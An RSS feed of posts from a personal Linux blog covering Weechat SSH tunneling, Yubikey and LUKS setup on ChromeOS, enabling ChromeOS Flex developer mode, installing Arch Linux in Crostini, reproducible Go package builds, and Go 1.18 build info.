<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Posts on Christian Rebischke</title><link>https://shibumi.dev/posts/</link><description>Recent content in Posts on Christian Rebischke</description><generator>Hugo -- gohugo.io</generator><language>en-us</language><copyright>This work is licensed under a Creative Commons Attribution-NonCommercial 4.0 International License.</copyright><lastBuildDate>Fri, 08 Sep 2023 21:43:31 +0000</lastBuildDate><atom:link href="https://shibumi.dev/posts/index.xml" rel="self" type="application/rss+xml"/><item><title>Weechat With SSH Tunneling</title><link>https://shibumi.dev/posts/weechat-with-ssh-tunneling/</link><pubDate>Fri, 08 Sep 2023 21:43:31 +0000</pubDate><guid>https://shibumi.dev/posts/weechat-with-ssh-tunneling/</guid><description>In the past, I have used Weechat with Weechat and IRC relays. Since, I have switched to ChromeOS, I disabled the IRC relay, because I switched to the Weechat Android App on ChromeOS. Nevertheless, I was never 100% happy with the Weechat relay. The relay usually works via a shared password and access to this relay is equal to SSH access.
Hence, I have decided to switch to SSH tunneling. With SSH tunneling, I am able to use SSH keys for authentication.</description><content type="html"><![CDATA[<p>In the past, I have used Weechat with Weechat and IRC relays. Since, I have switched to ChromeOS, I disabled the IRC relay, because I switched
to the Weechat Android App on ChromeOS. Nevertheless, I was never 100% happy with the Weechat relay. The relay usually works via a shared password
and access to this relay is equal to SSH access.</p>
<p>Hence, I have decided to switch to SSH tunneling. With SSH tunneling, I am able to use SSH keys for authentication. In this short article I would like
to show you how I have set this up:</p>
<ol>
<li>I moved from Hetzner to Google Cloud, because Google Cloud offers a free tier and I use the VM only as IRC bouncer. No need to pay 40 Euro per year, when I can get something for free.</li>
<li>A dedicated user and SSH key pair for weechat reduces the blast radius, if something happens.</li>
<li>The SSH access for the weechat user serves only one purpose: Connecting to the Weechat instance.</li>
</ol>
<p>My <code>$HOME/.ssh/authorized_keys</code> file is configured as follows:</p>
<pre><code>no-agent-forwarding,no-X11-forwarding,permitopen=&quot;127.0.0.1:9001&quot;,command=&quot;echo 'permission denied'&quot; ssh-ed25519 &lt;redacted&gt; weechat@host
</code></pre><p>The settings before the actual SSH key are SSH options. I do not allow any command execution, thus if I would connect via SSH it would just echo &ldquo;permission denied&rdquo;.
Via <code>permitopen=&quot;127.0.0.1:9001&quot;</code> I allow connections to the localhost at port 9001, the port of my Weechat relay.</p>
<p>In the Android Weechat App, I have selected the connection type <code>SSH tunnel</code> with relay host <code>127.0.0.1</code>, relay port <code>9001</code> and the configured relay password in my Weechat.
The Weechat instance on the server is running on a tmux session.</p>
<p>I hope this little article is helpful for someone. Debugging all of this can be very annoying, because the Weechat android app does not support proper debugging log output.
Also, I would prefer a normal Weechat connecting to a Weechat relay, but this feature seems to be work in progress for multiple years now. For now, I am happy with the android app.</p>
]]></content></item><item><title>Yubikey in Crostini</title><link>https://shibumi.dev/posts/yubikey-in-crostini/</link><pubDate>Sat, 05 Aug 2023 21:45:18 +0200</pubDate><guid>https://shibumi.dev/posts/yubikey-in-crostini/</guid><description>Hello friend,
long ago I have ditched Arch Linux for my main operating systems and switched to ChromeOS with Arch Linux in Crostini. For a long time this setup worked fine, until I encountered a few issues with Arch Linux and Yubikeys.
In this article, I would like to show you how I setup my Yubikey on Arch Linux running in Crostini within ChromeOS.
First, we have to ensure that /etc/polkit-1/rules.</description><content type="html"><![CDATA[<p>Hello friend,</p>
<p>long ago I have ditched Arch Linux for my main operating systems and switched to ChromeOS with Arch Linux in Crostini.
For a long time this setup worked fine, until I encountered a few issues with Arch Linux and Yubikeys.</p>
<p>In this article, I would like to show you how I setup my Yubikey on Arch Linux running in Crostini within ChromeOS.</p>
<p>First, we have to ensure that <code>/etc/polkit-1/rules.d/99-pcscd.rules</code> exists with following content:</p>
<div class="highlight"><pre class="chroma"><code class="language-javascript" data-lang="javascript"><span class="nx">polkit</span><span class="p">.</span><span class="nx">addRule</span><span class="p">(</span><span class="kd">function</span><span class="p">(</span><span class="nx">action</span><span class="p">,</span> <span class="nx">subject</span><span class="p">)</span> <span class="p">{</span>
  <span class="k">if</span> <span class="p">(</span><span class="nx">action</span><span class="p">.</span><span class="nx">id</span> <span class="o">==</span> <span class="s2">&#34;org.debian.pcsc-lite.access_card&#34;</span> <span class="o">&amp;&amp;</span>
  <span class="nx">subject</span><span class="p">.</span><span class="nx">isInGroup</span><span class="p">(</span><span class="s2">&#34;wheel&#34;</span><span class="p">))</span> <span class="p">{</span>
    <span class="k">return</span> <span class="nx">polkit</span><span class="p">.</span><span class="nx">Result</span><span class="p">.</span><span class="nx">YES</span><span class="p">;</span>
  <span class="p">}</span>
<span class="p">});</span>
<span class="nx">polkit</span><span class="p">.</span><span class="nx">addRule</span><span class="p">(</span><span class="kd">function</span><span class="p">(</span><span class="nx">action</span><span class="p">,</span> <span class="nx">subject</span><span class="p">)</span> <span class="p">{</span>
  <span class="k">if</span> <span class="p">(</span><span class="nx">action</span><span class="p">.</span><span class="nx">id</span> <span class="o">==</span> <span class="s2">&#34;org.debian.pcsc-lite.access_pcsc&#34;</span> <span class="o">&amp;&amp;</span>
  <span class="nx">subject</span><span class="p">.</span><span class="nx">isInGroup</span><span class="p">(</span><span class="s2">&#34;wheel&#34;</span><span class="p">))</span> <span class="p">{</span>
    <span class="k">return</span> <span class="nx">polkit</span><span class="p">.</span><span class="nx">Result</span><span class="p">.</span><span class="nx">YES</span><span class="p">;</span>
  <span class="p">}</span>
<span class="p">});</span>
</code></pre></div><p>My <code>$HOME/.gnupg/scdaemon.conf</code> looks as follows:</p>
<pre><code>reader-port Yubico YubiKey
pcsc-driver /usr/lib/libpcsclite.so
card-timeout 5
disable-ccid
pcsc-shared
</code></pre><p>And my <code>$HOME/.gnupg/gpg-agent.conf</code>:</p>
<pre><code>allow-loopback-pinentry
pinentry-program /usr/bin/pinentry-gnome3
max-cache-ttl 60480000
default-cache-ttl 60480000
</code></pre>]]></content></item><item><title>Mount Block Devices in ChromeOS</title><link>https://shibumi.dev/posts/mount-block-devices-in-chromeos/</link><pubDate>Sat, 05 Aug 2023 19:04:49 +0200</pubDate><guid>https://shibumi.dev/posts/mount-block-devices-in-chromeos/</guid><description>I am a big fan of LUKS encrypted USB sticks. They are easy to make and easy to handle on most Linux systems. ChromeOS is one of these systems, where I had trouble with LUKS encrypted USB sticks or block devices in general. Although ChromeOS is capable to mount a various number of filesystems, it has no idea what to do with a LUKS encrypted USB stick. The first idea most people have is launching a Crostini container and decrypting the USB stick via cryptsetup.</description><content type="html"><![CDATA[<p>I am a big fan of LUKS encrypted USB sticks. They are easy to make and easy to handle on most Linux systems.
ChromeOS is one of these systems, where I had trouble with LUKS encrypted USB sticks or block devices in general.
Although ChromeOS is capable to mount a various number of filesystems, it has no idea what to do with a LUKS encrypted USB stick.
The first idea most people have is launching a Crostini container and decrypting the USB stick via <code>cryptsetup</code>.
However, this does not work due to a few security limitations on ChromeOS. In this tutorial, I will show you how you can allow
your Crostini container to mount and handle LUKS encrypted usb sticks or any additional
block device in general. The first step you will have to do is opening the ChromeOS developer
shell via <code>ctrl+alt+t</code> in your ChromeOS window. Next, start your <code>termina</code> VM
via <code>vmc start termina</code>. For this tutorial I am going to assume that you have already a LXC container called <code>penguin</code>.
You can print the config of this container via: <code>lxc config show penguin</code>.</p>
<p>For mounting and handling block devices we have to do two changes:</p>
<ol>
<li>Set the container to privileged mode. (This might be a security risk, thus only do this if you know what you are doing)</li>
<li>Add a raw LXC configuration to allow block devices, device mapping and other permissions that are needed.</li>
</ol>
<p>We hav no text editor in the termina VM, hence we have to add the raw LXC config with a little trick:</p>
<div class="highlight"><pre class="chroma"><code class="language-shell" data-lang="shell">$ lxc config <span class="nb">set</span> penguin raw.lxc<span class="o">=</span><span class="k">$(</span>cat <span class="s">&lt;&lt; EOF
</span><span class="s">lxc.cgroup.devices.allow = c *:* rwm
</span><span class="s">lxc.cgroup.devices.allow = b *:* rwm
</span><span class="s">EOF</span>
<span class="k">)</span><span class="s2">&#34;
</span><span class="s2">
</span><span class="s2"></span>$<span class="s2"> lxc config set penguin security.privileged=true
</span></code></pre></div><p>The above snippet sets all necessary permissions. After doing this restart the LXC container.
Next, you need to add all block devices + partition devices manually. In my case, this is what I did:</p>
<div class="highlight"><pre class="chroma"><code class="language-shell" data-lang="shell">$ lxc config device add penguin /dev/sda unix-block<span class="o">=</span>/dev/sda <span class="nv">mode</span><span class="o">=</span><span class="m">0666</span>
$ lxc config device add penguin /dev/sda1 unix-block<span class="o">=</span>/dev/sda1 <span class="nv">mode</span><span class="o">=</span><span class="m">0666</span>
</code></pre></div><p>With these changes you should be able to jump into the container as usual and decrypt it with <code>cryptsetup luksOpen /dev/sda usb</code>.</p>
]]></content></item><item><title>How to enable developer mode on Chrome OS Flex</title><link>https://shibumi.dev/posts/enable-developer-mode-on-chrome-os-flex/</link><pubDate>Sat, 14 Jan 2023 12:28:10 +0100</pubDate><guid>https://shibumi.dev/posts/enable-developer-mode-on-chrome-os-flex/</guid><description>I have recently switched to Chrome OS Flex as main operating system. The experience so far is really great. It does everything what it should do. I can browse the internet with it, game with it (in the past Google Stadia, now Xbox Cloud), answer my mails and even work on Arch Linux. Even printing worked pretty much out of the box.
What does not work properly at the moment is scanning over wifi with my very old HP DeskJet 2540 printer with embedded scanner.</description><content type="html"><![CDATA[<p>I have recently switched to Chrome OS Flex as main operating system. The experience so far is really great.
It does everything what it should do. I can browse the internet with it, game with it (in the past Google Stadia, now Xbox Cloud),
answer my mails and even work on Arch Linux. Even printing worked pretty much out of the box.</p>
<p>What does not work properly at the moment is scanning over wifi with my very old HP DeskJet 2540 printer with embedded scanner.
Sadly, Chrome OS does not provide much logging. You can access <code>/var/log/messages</code> via visiting <code>file:///var/log/messages</code> in your
browser, but this does not give you enough debug information in this case.</p>
<p>This means I had to enable developer mode on my machine. At first, I thought I could just switch to the developer channel of Chrome OS
and this would allow me to access the debug mode, but it does not.</p>
<p>For having direct access to the filesystem, you have to enable developer mode. Developer mode is different to using the developer channel,
because developer mode disables most of Chrome OS great security features (for instance <a href="https://docs.kernel.org/admin-guide/device-mapper/verity.html">dm-verity</a>).</p>
<p>Enabling developer mode on a Chrome OS Flex device is a lot different to enabling it on a Chrome OS device. On a Chrome OS device you just have to
press a certain shortcut on boot and you can directly jump into developer mode, but developer mode alone gives you no write access to the filesystem.
For enabling write access, there might be a special screw you have to modify, because many Chrome OS devices have physical write protection.</p>
<p>This article, however, focuses on Chrome OS Flex devices. I hope it is helpful for someone, because I had to collect different information from different areas
in the internet.</p>
<h2 id="switching-to-developer-channel">Switching to developer channel</h2>
<p>Switching to developer channel is the easiest step. You just have to go into settings, go to <code>Change channel</code> and switch to the developer channel.
The official Google documentation has a more detailed description: <a href="https://support.google.com/chromebook/answer/1086915?hl=en">https://support.google.com/chromebook/answer/1086915</a>. Small note from my side: You do not have to powerwash when you change the channel from stable to beta or developer channel.
<code>Powerwash</code> is the name of Google&rsquo;s reset mechanism. <code>Powerwashing</code> your device means it gets resetted and all personal data will be deleted.</p>
<h2 id="switching-to-developer-mode">Switching to developer mode</h2>
<p>For enabling developer mode on a Chrome OS Flex device you have edit Chrome OS&rsquo;s <code>grub.cfg</code> file in the EFI partition. You cannot do this on the device directly, you must boot a Linux system on the device, mount the correct partition and modify the <code>grub.cfg</code> file in the EFI partition.</p>
<p>In my case, I either gave away all my other laptops or all my other laptops are Chrome OS devices, so I had a little bit of trouble to create a bootable Linux USB stick
with Chrome OS. I thought I could just plug in the USB stick, start my Crostini Linux container on my Chrome OS Flex device, forward the USB stick to the container
and then use a Linux tool like <code>dd</code> to flash the ISO file (in my case Arch Linux, of course) to the USB stick.</p>
<p>This does not work. Chrome OS will mount the USB stick in Chrome OS instead and there is no way to forward the device to the Crostini container.
Luckily, there is a solution for this and it is called <a href="https://chrome.google.com/webstore/detail/chromebook-recovery-utili/pocpnlppkickgojjlmhdmidojbmbodfm">Chromebook Recovery Utility</a>. The Chromebook Recovery Utility is actually built for creating bootable Chrome OS recovery usb sticks, but with this tool you can also flash any other ISO on an USB stick. There are just a few steps you have to follow:</p>
<ol>
<li>You must rename your ISO file from <code>&lt;filename&gt;.iso</code> to <code>&lt;filename&gt;.bin</code></li>
<li>In Step 1 of the tool, you click on the little gear icon on the upper right corner.</li>
</ol>
<p>Clicking on the gear icon opens a dialog box, where you can select <code>Use local image</code>. This will allow you to flash the ISO file to the USB stick.</p>
<p>Now, that you have the USB stick, use the USB stick to boot into a Linux RAMFS. In the Linux RAMFS, you can list all partitions via the command <code>fdisk -l</code>.
Remember the partition that has the label <code>EFI...</code> and then mount this partition via <code>mount &lt;path to partition&gt; /mnt</code>.
Next, jump into the <code>/mnt</code> directory and search for the file <code>grub.cfg</code>. Open this file and insert <code>cros_debug</code> to all <code>grub.cfg</code> lines.
You can do this by replacing <code>cros_efi</code> with <code>cros_efi cros_debug</code> (in vim: <code>:%s/cros_efi/cros_efi cros_debug/g</code>). Then <code>umount</code> and reboot into Chrome OS.</p>
<p>If the device does not boot into developer mode, try also appending <code>kvm-intel.vmentry_l1d_flush=always</code> to the <code>grub.cfg</code> file. Moreover, <code>cros_efi</code> might be called <code>cros_legacy</code> on your system, this is especially the case for devices that do not support UEFI.</p>
<p>In Chrome OS open Google Chrome and press <code>ctrl+alt+t</code>, this will open the Chrome OS shell (crosh). Type <code>shell</code> to get direct shell access. Voila, you are in developer mode now.</p>
<h2 id="mounting-the-rootfs-writeable">Mounting the rootfs writeable</h2>
<p>Developer mode alone might not be sufficient, because you want to very likely modify files. If you tried mounting the rootfs writeable, you might have realized that this does not work. This is because of <a href="https://docs.kernel.org/admin-guide/device-mapper/verity.html">dm-verity</a>. For disabling dm-verity, you must run the following command on Chrome OS Flex and reboot: <code>/usr/share/vboot/bin/make_dev_ssd.sh --remove_rootfs_verification --force --partition 2</code>.</p>
<p>The command can be destructive, so make sure to backup any meaningful data first. After a fresh reboot you should be able to do: <code>sudo mount -o remount,rw /</code>. This remounts your rootfs writeable and you can directly work on the rootfs. This comes very useful when you want to debug system internals or want more log data for preparing a bug report to the Google Chrome OS team.</p>
]]></content></item><item><title>Install Arch Linux on ChromeOS</title><link>https://shibumi.dev/posts/install-arch-linux-on-chromeos/</link><pubDate>Fri, 28 Oct 2022 22:48:11 +0200</pubDate><guid>https://shibumi.dev/posts/install-arch-linux-on-chromeos/</guid><description>Hello there.
I have not written a new article for quite a time now, but the waiting is finally over. Here comes the article everyone of you ever waited for.
Let us install Arch Linux on ChromeOS together. Yihaaaa&amp;hellip;
(Not quite what you expected? Feel free to drop this article :&amp;lsquo;D).
If you are reading this, this means you are still here. Nice. So, let us start with a short explanation on why I am doing this:</description><content type="html"><![CDATA[<p>Hello there.</p>
<p>I have not written a new article for quite a time now, but the waiting is
finally over.  Here comes the article everyone of you ever waited for.</p>
<p>Let us install Arch Linux on ChromeOS together. Yihaaaa&hellip;</p>
<p>(Not quite what you expected? Feel free to drop this article :&lsquo;D).</p>
<p>If you are reading this, this means you are still here. Nice. So, let us start
with a short explanation on why I am doing this:</p>
<p>I think I am a Linux user for over 10 years now. In these 10 years, I have
tested countless of different window managers, distributions and tools on
Linux. These 10 years <strong>allowed</strong> me to do this, because I either went to school
or to university. If you are following me on <a href="https://twitter.com/sh1bumi">Twitter</a>,
you might know that I have recently finished my master&rsquo;s degree and got hired
at a <a href="https://www.gearrice.com/update/the-story-behind-googles-unique-mini-fridges/">refrigerator company</a>. Therefore, you may understand my inspiration for this article.</p>
<p>So, you might ask yourself why I am even switching. I went full circle in these ten years, going
from heavy desktop environments like KDE or Gnome, to slim tiling window managers like sway or dwm,
back to Gnome with Fedora on a work laptop. In the end it was bluetooth that defeated me.
It has been another night in a hotel with Sway and bluetooth on command line that made me finally realize
that I waste too much time with stuff &lsquo;normal&rsquo; people do not suffer from.</p>
<p>This is why I have decided to change something. Sure, I could have just used a nice bluetooth manager
applet and call it a day, but I like to tinker around. This is how I ended up replacing the Debian
container with Arch Linux on a Thinkpad T14 AMD running ChromeOS Flex, what a combination!</p>
<p>Why ChromeOS? ChromeOS is something that always fascinated me since <a href="https://0pointer.net/blog/#:~:text=In%20fact%2C%20right%20now%2C%20your%20data%20is%20probably%20more%20secure%20if%20stored%20on%20current%20ChromeOS%2C%20Android%2C%20Windows%20or%20MacOS%20devices%2C%20than%20it%20is%20on%20typical%20Linux%20distributions.">Lennart Poettering described it as more secure than your typical Linux distribution</a>. Of course, this does not apply to ChromeOS Flex, because you will lose all <a href="https://www.chromium.org/chromium-os/chromiumos-design-docs/verified-boot/">Verified Boot</a> capabilities, but it is still a nice test bed for finding out if I would buy a Chromebook in the future. I won&rsquo;t go into too much details here, this might be something for another article. Instead, let us finally do something technical and install Arch Linux in <a href="https://chromium.googlesource.com/chromiumos/docs/+/master/containers_and_vms.md">Crostini</a> in ChromeOS. Crostini is a custom environment in ChromeOS that allows running Linux containers. I do not know how it works in detail, but I do know that there is a VM running on ChromeOS called <strong>termina</strong>. This VM is a very small Linux installation with only one purpose: Running containers via LXC.</p>
<p>Via a Google software called <a href="https://chromium.googlesource.com/chromiumos/platform2/+/master/vm_tools/sommelier/">sommelier</a> it is even possible to start apps in the container and forward their graphical user interface to the ChromeOS window manager.</p>
<p>The first step you have to do is enabling Linux on ChromeOS. For this you need a device that is running on x86_64 architecture. As far as I know ARM chromebooks are not supported. If the Linux environment is installed you can destroy and recreate the <strong>termina</strong> VM via crosh (ChromeOS&rsquo; own terminal running in a Chrome tab). Next, just spin up an Arch Linux container via this line:</p>
<pre><code>vmc container termina arch https://us.lxd.images.canonical.com/ archlinux/current
</code></pre><p>If you see any error messages, just ignore them. These error messages confused me a lot, but if you
jump into <strong>termina</strong> via running <code>vsh termina</code> you should be able to run <code>lxc list</code> and see
a new running container.</p>
<p>From here, you can follow the Arch Linux installation guide. Jump in the container (<code>lxc exec arch -- bash</code>) and run the following:</p>
<h3 id="update2023-08-05">Update(2023-08-05)</h3>
<p>Do not change the username. If you change the username filesharing between the container and ChromeOS will stop working.
When you continue to use the same user name + same IDs, the filesharing should be working fine.</p>
<h3 id="update2023-08-05-1">Update(2023-08-05)</h3>
<pre><code># pkill -9 -u old-username
# groupmod -n new-username old-username
# usermod -d /home/new-username -l new-username -m -c new-username old-username
# passwd username
# visudo
# usermod -aG wheel username
</code></pre><p>The above changes the old username (most likely your Gmail ID) to something shorter,
sets a new password and gives you sudo permissions via the wheel group.</p>
<p>For installing the <a href="https://aur.archlinux.org/packages/cros-container-guest-tools-git">cros-container-guest-tools</a> you need a few additional packages (<code>base-devel</code>,<code>devtools</code>,<code>pacman-contrib</code>, <code>wayland</code>, <code>xorg-xwayland</code>). Before you install these, install <code>reflector</code> and seta better package mirror, for instance via <code>reflector -n 10 --sort score &gt; /etc/pacman.d/mirrorlist</code>.</p>
<p>One major issue I had was network connectivity. For some reason, <code>systemd-networkd</code> failed and the container only got an IPv6 address. I fixed this issue via installing <code>dhclient</code> and enabling it via <code>systemctl enable dhclient@eth0</code>. Note, that you need a dbus session to use <code>systemctl</code>, so you really want to get into the container via running <code>lxc console</code>.</p>
<p>The following is a summary of all the steps above:</p>
<pre><code># exit
# lxc console arch
# &lt;press enter&gt;
# sudo -i
# pacman -S reflector
# reflector -n 10 --sort score &gt; /etc/pacman.d/mirrorlist
# pacman -Syu base-devel pacman-contrib wayland xorg-xwayland devtools dhclient
# systemctl start dhclient@eth0
# curl &quot;https://aur.archlinux.org/cgit/aur.git/snapshot/cros-container-guest-tools-git.tar.gz&quot; -LO
# tar xfvz cros-container-guest-tools-git.tar.gz
# cd cros-container-guest-tools-git
# makepkg -si
# exit
# systemctl --user enable --now sommelier@0
# systemctl --user enable --now sommelier@1
# systemctl --user enable --now sommelier-x@0
# systemctl --user enable --now sommelier-x@1
# exit
</code></pre><p>From here, you should be good to go. Stop all running containers do the renaming:</p>
<pre><code># lxc stop --force arch
# lxc stop --force penguin
# lxc rename penguin debian
# lxc rename arch penguin
</code></pre><p>Then open the ChromeOS Terminal App (not crosh) and just start Linux via starting the penguin container.</p>
<p>Voila, you should be running Arch Linux on ChromeOS now.</p>
]]></content></item><item><title>Day in the life of a package maintainer: Reproducible Go packages</title><link>https://shibumi.dev/posts/day-in-the-life-of-a-package-maintainer-reproducible-go-packages/</link><pubDate>Wed, 24 Aug 2022 17:30:12 +0200</pubDate><guid>https://shibumi.dev/posts/day-in-the-life-of-a-package-maintainer-reproducible-go-packages/</guid><description>In this new blog series, I would like to introduce you to the daily adventures of an Arch Linux package maintainer.
This time, we will have a look at reproducible package builds. Reproducible package builds are very important for us, as package maintainers, because reproducible package builds create an independently-verifiable path from source to the final package. This means, every Arch Linux user can verify that noone tampered with the Arch Linux package build process.</description><content type="html"><![CDATA[<p>In this new blog series, I would like to introduce you to the daily adventures of an Arch Linux
package maintainer.</p>
<p>This time, we will have a look at reproducible package builds. Reproducible package builds are
very important for us, as package maintainers, because reproducible package builds create an independently-verifiable
path from source to the final package. This means, every Arch Linux user can verify that noone tampered with the
Arch Linux package build process. Technically spoken, this means that we can build the same package on different systems
and get an exact identical package (identical as in: they share the same SHA256 checksum).</p>
<p>At Arch Linux, we have an instance that automatically tries to reproduce every package we build. If a package is not reproducible
we are getting informed via mail and the package will be flagged on the Arch Linux website:</p>
<p><img src="/img/cosign-not-reproducible.png" alt="https://archlinux.org/packages/community/x86_64/cosign/"></p>
<p>When we have identified a non reproducible package, we try to investigate the reason behind this and attempt to fix it.
First we download the package tarball and then we use our development tool <code>makerepropkg</code> to attempt to reproduce a given package.
<code>makerepropkg</code> downloads all packages with the exact version number that were necessary to build the given package tarball.
This ensures that we have the same build environment. After running <code>makerepropkg</code> another packate tarball will get created
and stored locally on our work machine.</p>
<p>Now, we can compare both packages via running <code>diffoscope</code> on them. <code>diffoscope</code> compares both archives for binary reproducibility.It does this via comparing files and metadata bit by bit. <code>diffoscope</code> returns a diff view of both archives, highlighting the differences:</p>
<div class="highlight"><pre class="chroma"><code class="language-diff" data-lang="diff"><span class="gd">--- cosign-1.10.1-2-x86_64.pkg.tar.zst
</span><span class="gd"></span><span class="gi">+++ /var/lib/archbuild/reproducible/chris/build/pkgdest/cosign-1.10.1-2-x86_64.pkg.tar.zst
</span><span class="gi"></span>├── cosign-1.10.1-2-x86_64.pkg.tar
│ ├── .MTREE
│ │ ├── .MTREE-content
│ │ │ -./usr/bin/cosign time=1661356248.0 size=68372464 md5digest=e0bb95d657084647718199fa6f9df48e sha256digest=8d92d291f338fa0b26534927e3bc98e78818df1127a08637e05f0bded1160663
│ │ │ +./usr/bin/cosign time=1661356248.0 size=68372464 md5digest=f2cf1351d8203110f7f165ec2124d14c sha256digest=edf97964206642911677711aef5352c6ba30f498057a09a056338a7cf85274b2
│ ├── usr/bin/cosign
│ │┄ File has been modified after NT_GNU_BUILD_ID has been applied.
│ │ │  Displaying notes found in: .note.gnu.build-id
│ │ │    Owner                Data size 	Description
│ │ │ -  GNU                  0x00000014	NT_GNU_BUILD_ID (unique build ID bitstring)	    Build ID: c2849cac6c9ffd3e4319ea6bd7e7a0939921717b
│ │ │ +  GNU                  0x00000014	NT_GNU_BUILD_ID (unique build ID bitstring)	    Build ID: 4c4f2c7126e4bf02fabc668a9ce1d3c445dd3353
│ │ │  Displaying notes found in: .note.go.buildid
│ │ │    Owner                Data size 	Description
│ │ │ -  Go                   0x00000053	GO BUILDID	   description data: 4a 64 79 44 6e 75 67 66 72 59 35 43 39 66 38 64 55 48 69 52 2f 44 71 62 70 7a 5a 61 47 4a 44 43 69 55 71 72 47 54 67 53 69 2f 62 56 62 4d 66 56 64 4b 63 6c 58 79 52 30 34 51 2d 78 71 46 2f 77 64 34 71 48 73 76 76 41 52 31 57 52 6f 70 5f 74 6b 76 57
│ │ │ +  Go                   0x00000053	GO BUILDID	   description data: 78 30 65 54 62 4c 6e 63 7a 41 5f 69 52 36 72 51 5f 79 39 39 2f 44 71 62 70 7a 5a 61 47 4a 44 43 69 55 71 72 47 54 67 53 69 2f 62 56 62 4d 66 56 64 4b 63 6c 58 79 52 30 34 51 2d 78 71 46 2f 73 57 73 61 4a 63 70 67 78 6e 47 4e 36 61 65 5f 42 58 41 43
│ │ ├── strings --all --bytes=8 {}
│ │ │ -JdyDnugfrY5C9f8dUHiR/DqbpzZaGJDCiUqrGTgSi/bVbMfVdKclXyR04Q-xqF/wd4qHsvvAR1WRop_tkvW
│ │ │ +x0eTbLnczA_iR6rQ_y99/DqbpzZaGJDCiUqrGTgSi/bVbMfVdKclXyR04Q-xqF/sWsaJcpgxnGN6ae_BXAC
</code></pre></div><p>The above <code>diffoscope</code> output is trimmed down to make it more readable, but it highlights one of the issues with the cosign binary.
In the <code>MTREE</code> file, we can clearly see that the checksums for cosign are different. This can be explained via the different GNU Build IDs
and the different Go BuildID. Moreover, there is a different string in each of the binaries. What is the Go BuildID? According to Filippo Valsorda
the build ID is &ldquo;..a hash of the filenames of the compiled files, plus the version of the compiler (and other things in zversion.go, like the default GOROOT)&quot;.</p>
<p>The different build ID for every build seems to have something to do with the linker and the use of CGO.
At Arch Linux, we do not compile binaries statically, because of additional security features like FULL RELRO and PIE.
One solution to fix this issue is via building it statically, but this time we prefer to fix this via setting an empty build ID.
Be aware that setting an empty build ID will disable debug packages. I hope the Go team will fix this issue on the long run.
Let us use the following GOFLAGS line for the <code>cosign</code> package:</p>
<p><code>export GOFLAGS=&quot;-buildmode=pie -trimpath -mod=readonly -modcacherw -ldflags=-linkmode=external -ldflags=-buildid=''&quot;</code></p>
<p>The last <code>ldflag</code> sets the build ID to an empty string. Now, we can rebuild the package and then run <code>makerepropkg</code> again:</p>
<p><code>makerepropkg cosign-1.10.1-2-x86_64.pkg.tar.zst</code></p>
<p>Voila! <code>makerepropkg</code> reports that the package is now reproducible:</p>
<pre><code>...
==&gt; Leaving fakeroot environment.
==&gt; Finished making: cosign 1.10.1-2 (Wed Aug 24 18:35:43 2022)
  -&gt; built succeeded! built packages can be found in /var/lib/archbuild/reproducible/chris/build/pkgdest
==&gt; comparing artifacts...
  -&gt; Package 'cosign-1.10.1-2-x86_64.pkg.tar.zst' successfully reproduced!
</code></pre>]]></content></item><item><title>Go 1.18 debug/buildinfo features</title><link>https://shibumi.dev/posts/go-18-feature/</link><pubDate>Sun, 03 Apr 2022 18:31:24 +0200</pubDate><guid>https://shibumi.dev/posts/go-18-feature/</guid><description>Hello and welcome to another blog article. Today, I would like to discuss one feature of Go 1.18, that I am interested in. No, this will not be another article about generics. The feature I would like to write about is something that might be under the radar for most people, but it still might be useful.
If you ever wrote a CLI app in Go you are very familiar with injecting information during the build process into global variables.</description><content type="html"><![CDATA[<p>Hello and welcome to another blog article. Today, I would like to discuss one feature of Go 1.18, that I am interested in.
No, this will not be another article about generics. The feature I would like to write about is something that might be under the
radar for most people, but it still might be useful.</p>
<p>If you ever wrote a CLI app in Go you are very familiar with injecting information during the build process into global variables.
For instance:</p>
<div class="highlight"><pre class="chroma"><code class="language-go" data-lang="go"><span class="kn">package</span> <span class="nx">main</span>

<span class="kn">import</span> <span class="s">&#34;fmt&#34;</span>

<span class="kd">var</span> <span class="nx">Version</span> <span class="kt">string</span>

<span class="kd">func</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
	<span class="nx">fmt</span><span class="p">.</span><span class="nf">Println</span><span class="p">(</span><span class="s">&#34;Version: &#34;</span><span class="p">,</span> <span class="nx">Version</span><span class="p">)</span>
<span class="p">}</span>
</code></pre></div><pre><code>❯ go build -ldflags=&quot;-X 'main.Version=v1.0.0'&quot;
❯ ./test 
Version:  v1.0.0
</code></pre><p>Go 1.18 introduced support for version control systems for the <code>debug/buildinfo</code> package. Therefore, instead of using a global variable
and injecting the information during the build process, you can just let Go handle this:</p>
<div class="highlight"><pre class="chroma"><code class="language-go" data-lang="go"><span class="kn">package</span> <span class="nx">main</span>

<span class="kn">import</span> <span class="p">(</span>
	<span class="s">&#34;fmt&#34;</span>
	<span class="s">&#34;runtime/debug&#34;</span>
<span class="p">)</span>

<span class="kd">func</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
	<span class="nx">info</span><span class="p">,</span> <span class="nx">_</span> <span class="o">:=</span> <span class="nx">debug</span><span class="p">.</span><span class="nf">ReadBuildInfo</span><span class="p">()</span>
	<span class="nx">fmt</span><span class="p">.</span><span class="nf">Println</span><span class="p">(</span><span class="nx">info</span><span class="p">)</span>
<span class="p">}</span>
</code></pre></div><pre><code>❯ git tag v1.0.0
❯ go build .
❯ ./test
go	go1.18
path	github.com/shibumi/test
mod	github.com/shibumi/test	(devel)	
build	-compiler=gc
build	CGO_ENABLED=1
build	CGO_CFLAGS=
build	CGO_CPPFLAGS=
build	CGO_CXXFLAGS=
build	CGO_LDFLAGS=
build	GOARCH=amd64
build	GOOS=linux
build	GOAMD64=v1
build	vcs=git
build	vcs.revision=7e22e19e829d84170072d2459e5870876df495ed
build	vcs.time=2022-04-03T16:59:50Z
build	vcs.modified=false
</code></pre><p>Isn&rsquo;t this cool?! Go will automatically detect the version control system and will automatically add the current revision and time to it.
With this revision we are now able to get the version back:</p>
<pre><code>❯ git describe --contains 7e22e19e829d84170072d2459e5870876df495ed
v1.0.0
</code></pre><p>The disadvantage of the new feature is that it is less customizable, but I don&rsquo;t really think this is an issue to be honest.
Moreover, there is no need to explicitly use <code>debug.ReadBuildInfo()</code> in your code, it is also possible to see the same information via:</p>
<pre><code>❯ go version -m ./test 
./test: go1.18
	path	github.com/shibumi/test
	mod	github.com/shibumi/test	(devel)	
	build	-compiler=gc
	build	CGO_ENABLED=1
	build	CGO_CFLAGS=
	build	CGO_CPPFLAGS=
	build	CGO_CXXFLAGS=
	build	CGO_LDFLAGS=
	build	GOARCH=amd64
	build	GOOS=linux
	build	GOAMD64=v1
	build	vcs=git
